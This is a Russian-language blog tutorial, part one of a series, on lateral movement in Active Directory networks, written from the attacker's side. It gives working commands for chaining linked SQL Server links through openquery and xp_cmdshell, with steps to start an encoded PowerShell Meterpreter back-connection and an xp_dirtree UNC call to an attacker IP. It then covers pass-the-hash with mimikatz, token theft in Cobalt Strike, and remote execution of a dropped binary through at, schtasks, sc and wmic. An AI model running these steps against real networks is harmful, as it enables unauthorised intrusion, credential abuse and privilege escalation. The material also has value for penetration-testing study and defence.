Техники атаки Lateral Movement. Часть 1
Life-Hack [Жизнь-Взлом]/ХакингПредположим, вы успешно раздобыли учетные записи пользователей в сети с контроллером домена Active Directory и даже смогли повысить собственные привилегии. Казалось бы, можно расслабиться и почивать на лаврах. Как бы не так! Что, если мы захватили не всю сеть, а ее определенный сегмент? Необходимо разобраться, как продвигаться по сети дальше, искать новые точки входа, опоры для проведения разведки и дальнейшего повышения привилегий!
Атака Lateral Movement через ссылки Microsoft SQL Server
С начала — немного теории. Microsoft SQL Server позволяет создавать ссылки на внешние источники данных, например другие серверы SQL, базы данных Oracle, таблицы Excel. Нередко сервер настроен неправильно, из-за чего подобные ссылки (связи или линки), или «связанные серверы», могут использоваться для обнаружения и обхода связей базы данных в сети, получения неавторизованного доступа к данным или загрузки различных оболочек. Как подобные атаки реализуются на практике, мы сейчас и попробуем разобрать.
Введение в ссылки
Создание связи на SQL Server довольно тривиально. Это можно сделать с помощью хранимой процедуры sp_addlinkedserver или SQL Server Management Studio (SSMS). Обычно злоумышленники не стремятся создавать линки, но пытаются найти существующие и эксплуатировать их.
Связи можно просмотреть в меню «Объекты сервера → Серверы ссылок» в SSMS. В качестве альтернативы они могут быть перечислены с помощью хранимой процедуры sp_linkedservers или с помощью запроса select * from master..sysservers. Выбирать непосредственно из таблицы sysservers предпочтительно, поскольку так раскрывается немного больше информации о линках.
Для существующих ссылок есть несколько ключевых настроек, на которые следует обратить внимание. Очевидно, что назначение ссылки, тип источника данных (имя провайдера) и доступность ссылки (доступ к данным) важны для использования связи. Кроме того, исходящие соединения RPC (rpcout) должны быть включены для ссылок, чтобы, в свою очередь, включить xp_cmdshell на удаленных связанных серверах.
Злоумышленники при взломе связей базы данных обращают внимание на две основные конфигурации: источник данных (имя провайдера) и способ настройки линков для проверки подлинности. Сосредоточимся на источниках данных SQL Server, которые подключаются к другим серверам Microsoft SQL Server.
Каждую из этих связей SQL Server можно настроить для проверки подлинности несколькими различными способами. Можно отключить линки, не предоставляя учетные данные для подключения. Также можно использовать текущий контекст безопасности или установить учетную запись SQL и пароль, которые будут задействованы для всех подключений, использующих ссылку. Как показывает практика, после обхода всех связей всегда есть одна или несколько настроек с разрешениями sysadmin; это позволяет повысить привилегии от начального общедоступного доступа к доступу sysadmin, даже не выходя из уровня базы данных.
Хотя только системные администраторы могут создавать ссылки, любой пользователь базы данных может попытаться получить к ним доступ. Тем не менее есть две очень важные вещи, которые нужно понять про использование ссылок:
- если связь включена (dataaccess установлен в 1), каждый пользователь на сервере базы данных может использовать ссылку независимо от прав пользователя (public, sysadmin);
- если связь настроена на использование учетной записи SQL, каждое подключение будет с правами этой учетной записи. Другими словами, общедоступный пользователь на сервере A может потенциально выполнять SQL-запросы на сервере B как sysadmin.
Ссылки на SQL Server очень просты в использовании. Например, следующий запрос с использованием openquery() перечисляет версию сервера на удаленном сервере.
select version from openquery("linked_remote_server", 'select @@version as version');
Также можно использовать openquery для выполнения SQL-запросов по нескольким вложенным линкам; это делает возможным связывание ссылок и, таким образом, позволяет использовать деревья ссылок.
select version from openquery("link1",'select version from openquery("link2",''select @@version as version'')')
Подобным же образом можно вложить столько операторов openquery, сколько необходимо для доступа ко всем связанным серверам. Единственная проблема состоит в том, что каждый вложенный запрос должен использовать вдвое больше одинарных кавычек, чем внешний запрос. В результате синтаксис запросов становится довольно громоздким, когда вам приходится использовать 32 одинарные кавычки в каждой строке.
Схема эксплуатации изнутри сети
На следующем рисунке показан пример типичной сети связанных баз данных. Пользователь с общими правами доступа к DB1 может перейти по ссылке базы данных на DB2 (разрешения уровня пользователя) и от DB2 до DB3 (разрешения уровня пользователя). Теперь можно перейти по ссылке из DB3 обратно в DB1 (разрешения уровня пользователя) или по ссылке на DB4. Так как эта ссылка настроена с повышенными привилегиями, следование цепочке ссылок DB1 → DB2 → DB3 → DB4 дает изначально непривилегированному пользователю полномочия пользователя sysadmin на DB4, который расположен в «изолированной» сетевой зоне.

Ссылки на базы данных также могут запрашиваться с использованием альтернативного синтаксиса, но он не допускает запросы по нескольким ссылкам. Кроме того, фактическая эксплуатация требует, чтобы rpcout был включен для ссылок, и, поскольку он отключен по умолчанию, это вряд ли будет часто использоваться на практике.
Хотя Microsoft заявляет, что openquery() нельзя использовать для выполнения расширенных хранимых процедур на связанном сервере, это возможно. Хитрость заключается в том, чтобы вернуть некоторые данные, завершить оператор SQL и затем выполнить требуемую хранимую процедуру. Ниже приведен базовый пример выполнения процедуры с помощью openquery().
select 1 from openquery("linkedremoteserver",'select 1;exec master..xp_cmdshell "dir c:"')
Запрос не возвращает результаты xp_cmdshell, но если xp_cmdshell включен и пользователь имеет права на его выполнение, он выполнит команду dir в операционной системе. Один из простых способов получить оболочку в целевой системе — вызвать PowerShell (если этот командный интерпретатор установлен в ОС) и передать бэкконнект на оболочку Meterpreter. В целом алгоритм действий выглядит следующим образом:
- Создать сценарий PowerShell для выполнения своей полезной нагрузки Metasploit, пример можно взять здесь.
- Закодировать скрипт в Unicode.
- Закодировать в Base64.
- Выполнить команду powershell -noexit -noprofile -EncodedCommand с помощью xp_cmdshell.
Если xp_cmdshell не включен на связанном сервере, возможно, его не удастся включить, даже если ссылка настроена с привилегиями sysadmin. Любые запросы, выполняемые через openquery, считаются пользовательскими транзакциями, которые не позволяют сделать перенастройку. Включение xp_cmdshell с помощью sp_configure не изменяет состояние сервера без перенастройки, и, следовательно, xp_cmdshell останется отключенным. Если rpcout включен для всех ссылок внутри пути ссылки, можно включить xp_cmdshell, используя следующий синтаксис.
execute('sp_configure "xp_cmdshell",1;reconfigure;') at LinkedServer
Но, как уже отмечалось, rpcout по умолчанию отключен, поэтому он вряд ли будет работать с длинными цепочками ссылок.
Схема эксплуатации извне
Хотя ссылки на базы данных могут стать неплохим способом повысить привилегии после того, как получен аутентифицированный доступ к базе данных внутри сети, более серьезный риск возникает, когда связанные серверы доступны извне. Те же SQL-инъекции очень распространены, и успешная атака дает возможность выполнять произвольные запросы SQL на сервере базы данных. Если соединение с базой данных веб-приложения сконфигурировано с наименьшими привилегиями (что происходит довольно часто), то нетрудно увеличить разрешения для внутренней сети, где, вероятно, расположен сервер базы данных. Однако, как упоминалось ранее, любому пользователю, независимо от его уровня привилегий, доступны предварительно настроенные связи между базами данных.
На следующем рисунке показан путь атаки извне. Найдя SQL-инъекцию на сервере веб-приложений, злоумышленник может начать переходить по ссылкам DB1 → DB2 → DB3 → DB4. И после получения разрешений sysadmin на DB4 он может выполнить xp_cmdshell, чтобы запустить PowerShell и получить бэкконнект.

Таким образом злоумышленник получает привилегии в изолированном сегменте корпоративной сети и может претендовать на компрометацию всего домена, при этом изначально не имея доступа к внутренней сети.
Автоматизация обнаружение пути эксплуатации
Для автоматизации перечисления и обхода ссылок после того, как первоначальный доступ к SQL Server получен, можно применить уже упоминавшийся в предыдущих статьях инструмент PowerUpSQL.
Функция Get-SQLServerLinkCrawl может использоваться для сканирования всех доступных путей связанных серверов, а также перечисления версий программного обеспечения и привилегий, с которыми настроены ссылки. Чтобы запустить Get-SQLServerLinkCrawl, нужно будет предоставить информацию об экземпляре базы данных для начального подключения к БД и учетные данные, используемые для авторизации. По умолчанию скрипт выполняется с использованием встроенной аутентификации, но при желании можно указать альтернативные учетные данные домена и учетные данные SQL Server.
Для вывода в консоль воспользуемся командой
Get-SQLServerLinkCrawl -verbose -instance "[ip-address]\SQLSERVER2008”
Для вывода же по сети используем функцию следующим образом.
Get-SQLServerLinkCrawl -verbose -instance "[ip-address]\SQLSERVER2008" -username 'guest' -password 'guest' | Out-GridView
Результаты будут включать экземпляр базы данных, информацию о ее версии, пользователя ссылки, привилегии пользователя ссылки на связанном сервере, путь ссылки на сервер и ссылки на каждый экземпляр базы данных. Связанные серверы, которые недоступны, помечаются как неработающие ссылки.

Кроме того, Get-SQLServerLinkCrawl позволяет выполнять произвольные запросы SQL на всех связанных серверах с использованием параметра -Query. Xp_cmdshell (для выполнения команды) и xp_dirtree (для внедрения в UNC-путь) также могут быть выполнены с помощью параметра -Query.
Get-SQLServerLinkCrawl -instance "[ip-address]\SQLSERVER2008" -Query "exec master..xp_cmdshell 'whoami'" Get-SQLServerLinkCrawl -instance "[ip-address]\SQLSERVER2008" -Query "exec master..xp_dirtree '\\[ip]\test'"
Но согласитесь, что вывод того же BloodHound в виде графа связей через Neo4j куда удобней для анализа и поиска пути эксплуатации, чем информация, представленная в виде текста. Можно попробовать сделать аналогичный граф и для Get-SQLServerLinkCrawl. Результаты Get-SQLServerLinkCrawl необходимо экспортировать в файл XML с помощью Export-Clixml.
Get-SQLServerLinkCrawl -verbose -instance "[ip-address]\SQLSERVER2008" -username 'guest' -password 'guest' | export-clixml c:\temp\links.xml
Экспортированный файл XML будет затем преобразован в файл узла и файл ссылки, чтобы их можно было импортировать в базу данных Neo4j. Следующий скрипт создаст файлы импорта и предоставит необходимые операторы Cypher для создания графа. Очевидно, что все пути к файлам жестко закодированы в PowerShell, поэтому их придется заменить, если вы запустите скрипт. Последние (необязательные) операторы Cypher создают начальный узел, с целью указать, где начался обход контента; ServerID должен быть обновлен вручную, чтобы он указывал на первый SQL Server, к которому был получен доступ.
$List = Import-CliXml 'C:\temp\links.xml'
$Servers = $List | select name,version,path,user,sysadmin -unique | where name -ne 'broken link'
$Outnodes = @()
$Outpaths = @()
foreach($Server in $Servers){
$Outnodes += "$([string][math]::abs($Server.Name.GetHashCode())),$($Server.Name),$($Server.Version)"
if($Server.Path.Count -ne 1){
$Parentlink = $Server.Path[-2]
foreach($a in $Servers){
if(($a.Path[-1] -eq $Parentlink) -or ($a.Path -eq $Parentlink)){
[string]$Parentname = $a.Name
break
}
}
$Outpaths += "$([math]::abs($Parentname.GetHashCode())),$([math]::abs($Server.Name.GetHashCode())),$($Server.User),$($Server.Sysadmin)"
}
}
$Outnodes | select -unique | out-file C:\pathtoneo4j\Neo4j\default.graphdb\Import\nodes.txt
$Outpaths | select -unique | out-file C:\pathtoneo4j\default.graphdb\Import\links.txt
<#
[OPTIONAL] Cypher to clear the neo4j database:
MATCH (n)
OPTIONAL MATCH (n)-[r]-()
DELETE n,r
--
Cypher statement to create a neo4j graph - load nodes
LOAD CSV FROM "file:///nodes.txt" AS row
CREATE (:Server {ServerId: toInt(row[0]), Name:row[1], Version:row[2]});
---
Cypher statement to create a neo4j graph - load links
USING PERIODIC COMMIT
LOAD CSV FROM "file:///links.txt" AS row
MATCH (p1:Server {ServerId: toInt(row[0])}), (p2:Server {ServerId: toInt(row[1])})
CREATE (p1)-[:LINK {User: row[2], Sysadmin: row[3]}]->(p2);
---
[OPTIONAL] Cypher statement to create a start node which indicates where the crawl started. This is not automated; first node id must be filled in manually (i.e. replace 12345678 with the first node's id).
CREATE (:Start {Id: 1})
[OPTIONAL] Link start node to the first server
MATCH (p1:Start {Id: 1}), (p2:Server {ServerId: 12345678})
CREATE (p1)-[:START]->(p2);
#>
Если все работает хорошо, вы сможете просмотреть график связей, используя Neo4j Browser.

Связанные серверы довольно распространены, и иногда сети связанных серверов содержат сотни серверов баз данных. Цель Get-SQLServerLinkCrawl состоит в том, чтобы предоставить простой и автоматизированный способ анализа масштабов этих сетей и легко найти путь бокового движения.
Атака Pass the hash
О технике Pass the hash, как и об одинаковых паролях локальных администраторов на компьютерах домена, уже было рассказано во второй части цикла статей про Active Directory. Допустим, проанализировав некоторые настройки групповой политики, мы выяснили, что на всех компьютерах домена имеются одинаковые учетные данные локального администратора, и мы смогли завладеть этими данными. Далее мы решаем использовать технику pass the hash для доступа к другим машинам в сети, чтобы выполнить боковое движение. Для этого мы используем mimikatz. Если нам известен открытый пароль, то мы получаем его хеш с помощью модуля crypto::hash. Сделать это можно командой
crypto::hash /password:[password]
Теперь можно получить новую консоль под учетной записью, для которой мы выполняем Pass the hash.
privilege::debug sekurlsa::pth /ntlm:[hash] /user:admin /domain:.
Однако после проверки доступа мы терпим неудачу.

Дело в том, что существует два идентификатора безопасности SID: S-1-5-113 (NT AUTHORITY\Local account) и S-1-5-114 (NT AUTHORITY\Local account and member of Administrators group). Они применяются в групповой политике, чтобы блокировать использование всех локальных учетных записей администраторов для удаленного входа. А проверить, на каких машинах установлены эти ограничения, может любой пользователь, который прошел проверку подлинности в домене, просто перечислив групповые политики (о перечислении групповых политик было сказано в первой статье этого цикла).
На самом деле нет возможности передать хеш учетной записи локального администратора, который не имеет относительный идентификатор RID 500 (Local Administrator). Так, для любой учетной записи локального администратора без RID 500, удаленно подключающейся к машине через WMI, PSEXEC или другими методами, возвращаемый токен «фильтруется», даже если пользователь является локальным администратором. Это происходит потому, что нет способа удаленного перехода в контекст, кроме как через RDP (для которого требуется пароль в виде открытого текста, если не включен режим Restricted Admin). Поэтому, когда пользователь пытается получить доступ к привилегированному ресурсу удаленно, например к папке ADMIN$, он видит сообщение Access is denied, несмотря на то что у него есть административный доступ.
Вдобавок ко всему, когда пользователь, который входит в группу локальных администраторов на целевом удаленном компьютере, устанавливает удаленное административное соединение, он не подключается как полный администратор удаленной системы. У пользователя нет возможности повысить права на удаленном компьютере, и он не может выполнять административные задачи. Если пользователь хочет администрировать рабочую станцию с помощью учетки диспетчера учетных записей безопасности (SAM), он должен интерактивно войти в систему на компьютере, который администрируется с помощью удаленного рабочего стола (RDP).
Это объясняет, почему локальные учетные записи администраторов терпят неудачу при удаленном доступе (кроме как через RDP), а также почему учетные записи домена выполняют свои операции успешно. И хотя Windows по умолчанию отключает встроенную учетную запись администратора RID 500, ее все же довольно часто можно увидеть в исследуемых системах.
Есть еще одна возможная причина неудачи — так называемый режим одобрения администратором. Ключ, который указывает на этот режим, хранится в ключе реестра
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken
…и по умолчанию отключен. Однако, если этот параметр активирован, учетная запись с RID 500 зарегистрирована в UAC. Это означает, что удаленный PTH к машине, использующей эту учетную запись, завершится неудачно.
Если ключ
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy
…существует и имеет значение 1, тогда удаленным подключениям от всех локальных членов администраторов предоставляются полные маркеры доступа. Это означает, что подключения к учетной записи без RID 500 не фильтруются!


Но как на своих машинах работают локальные администраторы при включенном контроле токена? По умолчанию встроенная учетная запись администратора запускает все приложения с полными административными привилегиями, то есть контроль учетных записей пользователей фактически не применяется. Поэтому, когда действия удаленного юзера инициируются с использованием этой учетной записи, предоставляется маркер с полными привилегиями (то есть без фильтрации), обеспечивающий надлежащий административный доступ! И мы можем это использовать.
Следующий способ кражи и присвоения токена воспроизведен с помощью Cobalt Strike. Для начала получим хеш, использовав hashdump.

Далее создадим процесс PowerShell.
mimikatz sekurlsa::pth /user:[user] /domain:. /ntlm:[hash] /run:"powershell -w hidden"

Используем steal_token для кражи токена из созданного mimikatz процесса с известным PID.

Теперь мы можем использовать один из нескольких вариантов бокового перемещения.
Вариант 1: запланировать запуск программы на удаленном хосте с помощью at. Первым делом узнаем, какое на хосте установлено время, после чего планируем выполнение задачи.
shell net time \\[address] shell at \\[address] [HH:MM] [c:\windows\temp\soft.exe]
Вариант 2: запустить код в целевой системе через schtasks.
shell schtasks /create /tn [name] /tr [c:\windows\temp\soft.exe] /sc once /st 00:00 /S [address] /RU System shell schtasks /run /tn [name] /S [address]
Вариант 3: создать и запустить службу через sc. Команде sc требуется исполняемый файл, который отвечает на команды Service Control Manager. Если вы не предоставите ей такой исполняемый файл, ваша программа запустится и сразу же закроется. После эксплуатации рекомендуется удалить службу.
shell sc \\[address] create [name] binpath=["c:\windows\temp\SERVICE.exe"] shell sc \\[address] start [name] shell sc \\[address] delete [name]
Вариант 4, наиболее распространенный: задействовать wmic.
shell wmic /node:[address] process call create ["c:\windows\temp\soft.exe"]

В примере выше мы загружаем на хост файл и запускаем его с помощью wmic.
Продолжение следует...